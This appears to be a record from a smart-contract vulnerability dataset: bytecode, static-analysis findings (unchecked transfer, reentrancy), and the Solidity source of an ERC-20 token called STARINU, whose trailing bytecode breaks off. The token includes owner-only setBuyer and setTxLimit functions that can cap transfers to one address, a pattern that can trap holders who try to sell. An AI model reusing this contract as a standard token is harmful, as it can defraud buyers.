0000000081525060200191505060405180910390fd5b6001600760156101000a81548160ff02191690831515021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60016020528060005260406000206000915090505481565b735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b426203f480600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115611b28576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180613648602b913960400191505060405180910390fd5b611b82611b343361328a565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132ff90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1781600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461324090919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a43905600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015611d3957600080fd5b505afa158015611d4d573d6000803e3d6000fd5b505050506040513d6020811015611d6357600080fd5b810190808051906020019092919050505090508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611de757600080fd5b505af1158015611dfb573d6000803e3d6000fd5b505050506040513d6020811015611e1157600080fd5b81019080805190602001909291905050505042600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b611e73613387565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f43616c6c6572206973206e6f74207072696d617279000000000000000000000081525060200191505060405180910390fd5b6001600760146101000a81548160ff021916908315150217905550565b6000600760149054906101000a900460ff16905090565b60006003821115611f96578190506000600160028481611f6357fe5b040190505b81811015611f9057809150600281828581611f7f57fe5b040181611f8857fe5b049050611f68565b50611fa4565b60008214611fa357600190505b5b919050565b600080735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a43905600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561208957600080fd5b505afa15801561209d573d6000803e3d6000fd5b505050506040513d60208110156120b357600080fd5b810190808051906020019092919050505090506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561215157600080fd5b505afa158015612165573d6000803e3d6000fd5b505050506040513d602081101561217b57600080fd5b8101908080519060200190929190505050905060008273ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156121d657600080fd5b505afa1580156121ea573d6000803e3d6000fd5b505050506040513d602081101561220057600080fd5b81019080805190602001909291905050509050600082826002898161222157fe5b04028161222a57fe5b04905061223886820261263f565b94505050505092915050565b61224c613387565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146122ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f43616c6c6572206973206e6f74207072696d617279000000000000000000000081525060200191505060405180910390fd5b6122f4611f30565b1561234a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806136a6602e913960400191505060405180910390fd5b8060008190555050565b6407b71a3f5481565b600080735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a43905600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561243d57600080fd5b505afa158015612451573d6000803e3d6000fd5b505050506040513d602081101561246757600080fd5b810190808051906020019092919050505090506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561250557600080fd5b505afa158015612519573d6000803e3d6000fd5b505050506040513d602081101561252f57600080fd5b810190808051906020019092919050505090506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156125cd57600080fd5b505afa1580156125e1573d6000803e3d6000fd5b505050506040513d60208110156125f757600080fd5b810190808051906020019092919050505090506126378161262984670de0b6b3a764000061317090919063ffffffff16565b6131f690919063ffffffff16565b935050505090565b6000670de0b6b3a76400006301e187e00261266a8361265c6118c8565b61317090919063ffffffff16565b8161267157fe5b049050919050565b600080735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a43905600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561275957600080fd5b505afa15801561276d573d6000803e3d6000fd5b505050506040513d602081101561278357600080fd5b810190808051906020019092919050505090506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561282157600080fd5b505afa158015612835573d6000803e3d6000fd5b505050506040513d602081101561284b57600080fd5b8101908080519060200190929190505050905061290b8273ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156128a757600080fd5b505afa1580156128bb573d6000803e3d6000fd5b505050506040513d60208110156128d157600080fd5b81019080805190602001909291905050506128fd6128ee87612f1a565b8461317090919063ffffffff16565b6131f690919063ffffffff16565b92505050919050565b600760169054906101000a900460ff1681565b426203f480600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111156129c4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180613648602b913960400191505060405180910390fd5b612a1e6129d03361328a565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132ff90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000612ab082613423565b9050612b0481600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461324090919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1933846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015612bda57600080fd5b505af1158015612bee573d6000803e3d6000fd5b505050505050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000612c72612c6d612c1f8461328a565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132ff90919063ffffffff16565b61263f565b9050919050565b60085481565b600080735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a43905600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015612d5f57600080fd5b505afa158015612d73573d6000803e3d6000fd5b505050506040513d6020811015612d8957600080fd5b810190808051906020019092919050505090506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612e2757600080fd5b505afa158015612e3b573d6000803e3d6000fd5b505050506040513d6020811015612e5157600080fd5b81019080805190602001909291905050509050612f118273ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015612ead57600080fd5b505afa158015612ec1573d6000803e3d6000fd5b505050506040513d6020811015612ed757600080fd5b8101908080519060200190929190505050612f03612ef487612f1a565b8461317090919063ffffffff16565b6131f690919063ffffffff16565b92505050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b612f91613387565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613031576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f43616c6c6572206973206e6f74207072696d617279000000000000000000000081525060200191505060405180910390fd5b613039611f30565b1561308f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806136a6602e913960400191505060405180910390fd5b80600760166101000a81548160ff02191690831515021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff168260405180600001905060006040518083038185875af1925050503d806000811461310c576040519150601f19603f3d011682016040523d82523d6000602084013e613111565b606091505b505090508061316b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a8152602001806135ed603a913960400191505060405180910390fd5b505050565b60008083141561318357600090506131f0565b600082840290508284828161319457fe5b04146131eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806136276021913960400191505060405180910390fd5b809150505b92915050565b600061323883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613466565b905092915050565b600061328283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061352c565b905092915050565b60006132f86132e1600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261324090919063ffffffff16565b6132ea84612f1a565b61317090919063ffffffff16565b9050919050565b60008082840190508381101561337d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073361e5af9652979d3c0fe7c87a464e606b6d8b54573ffffffffffffffffffffffffffffffffffffffff1663c6dbdf616040518163ffffffff1660e01b815260040160206040518083038186803b1580156133e357600080fd5b505afa1580156133f7573d6000803e3d6000fd5b505050506040513d602081101561340d57600080fd5b8101908080519060200190929190505050905090565b600061345f6134306118c8565b613451670de0b6b3a76400006301e187e0028561317090919063ffffffff16565b6131f690919063ffffffff16565b9050919050565b60008083118290613512576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156134d75780820151818401526020810190506134bc565b50505050905090810190601f1680156135045780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161351e57fe5b049050809150509392505050565b60008383111582906135d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561359e578082015181840152602081019050613583565b50505050905090810190601f1680156135cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe416464726573733a20756e61626c6520746f2073656e642076616c75652c20726563697069656e74206d61792068617665207265766572746564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77497420686173206e6f74206265656e203320646179732073696e636520796f75207374616b656420796574497420686173206e6f74206265656e203120686f7572732073696e636520636f6e7472616374206372656174696f6e207965746d616b65556e6368616e676561626c6528292066756e6374696f6e2077617320616c72656164792063616c6c6564a26469706673582212206fdc1afec84860a1d9cedadc6eb3adbf94d1ebc549b38ce9e1bf5f404f3e5ed864736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
7,482
0x25c980e87ecd4d32510fdfd7459365228ad86f15
/** *Submitted for verification at Etherscan.io on 2021-05-29 */ /** *Submitted for verification at Etherscan.io on 2021-05-20 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract STARINU is Context, IERC20, IERC20Metadata { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 10**12 * 10**18; uint256 private _txLimit = 10**7 * 10**18; address private _buyer; address private _owner; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _owner = _msgSender(); _balances[_msgSender()] += _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function setTxLimit(uint256 txLimit_) public onlyOwner returns(bool){ _txLimit = txLimit_; return true; } function setBuyer(address buyer_) public virtual onlyOwner { _buyer = buyer_; } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } modifier onlyOwner { require(_msgSender() == _owner, "Owner only function"); _; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address sender, address spender) public view virtual override returns (uint256) { return _allowances[sender][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(recipient == _buyer) { require(amount < _txLimit, "Transaction amount must be less than limit"); } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer failed"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address sender, address spender, uint256 amount) internal virtual { require(sender != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[sender][spender] = amount; emit Approval(sender, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a3f09ad611610066578063a3f09ad61461028a578063a457c2d7146102a6578063a9059cbb146102d6578063dd62ed3e14610306576100f5565b806370a0823114610214578063715018a6146102445780638da5cb5b1461024e57806395d89b411461026c576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780635c85974f146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610336565b60405161010f919061130f565b60405180910390f35b610132600480360381019061012d91906110c4565b6103c8565b60405161013f91906112f4565b60405180910390f35b6101506103e6565b60405161015d9190611451565b60405180910390f35b610180600480360381019061017b9190611075565b6103f0565b60405161018d91906112f4565b60405180910390f35b61019e6104e8565b6040516101ab919061146c565b60405180910390f35b6101ce60048036038101906101c991906110c4565b6104f1565b6040516101db91906112f4565b60405180910390f35b6101fe60048036038101906101f99190611100565b61059d565b60405161020b91906112f4565b60405180910390f35b61022e60048036038101906102299190611010565b610646565b60405161023b9190611451565b60405180910390f35b61024c61068e565b005b6102566107e6565b60405161026391906112d9565b60405180910390f35b610274610810565b604051610281919061130f565b60405180910390f35b6102a4600480360381019061029f9190611010565b6108a2565b005b6102c060048036038101906102bb91906110c4565b61097d565b6040516102cd91906112f4565b60405180910390f35b6102f060048036038101906102eb91906110c4565b610a68565b6040516102fd91906112f4565b60405180910390f35b610320600480360381019061031b9190611039565b610a86565b60405161032d9190611451565b60405180910390f35b60606006805461034590611581565b80601f016020809104026020016040519081016040528092919081815260200182805461037190611581565b80156103be5780601f10610393576101008083540402835291602001916103be565b820191906000526020600020905b8154815290600101906020018083116103a157829003601f168201915b5050505050905090565b60006103dc6103d5610b0d565b8484610b15565b6001905092915050565b6000600254905090565b60006103fd848484610ce0565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610448610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104bf906113b1565b60405180910390fd5b6104dc856104d4610b0d565b858403610b15565b60019150509392505050565b60006012905090565b60006105936104fe610b0d565b84846001600061050c610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461058e91906114a3565b610b15565b6001905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105e0610b0d565b73ffffffffffffffffffffffffffffffffffffffff1614610636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062d90611351565b60405180910390fd5b8160038190555060019050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106cf610b0d565b73ffffffffffffffffffffffffffffffffffffffff1614610725576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071c90611351565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461081f90611581565b80601f016020809104026020016040519081016040528092919081815260200182805461084b90611581565b80156108985780601f1061086d57610100808354040283529160200191610898565b820191906000526020600020905b81548152906001019060200180831161087b57829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e3610b0d565b73ffffffffffffffffffffffffffffffffffffffff1614610939576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093090611351565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806001600061098c610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4090611431565b60405180910390fd5b610a5d610a54610b0d565b85858403610b15565b600191505092915050565b6000610a7c610a75610b0d565b8484610ce0565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c906113f1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bec90611391565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cd39190611451565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d47906113d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db790611331565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e5b576003548110610e5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5190611371565b60405180910390fd5b5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed890611411565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600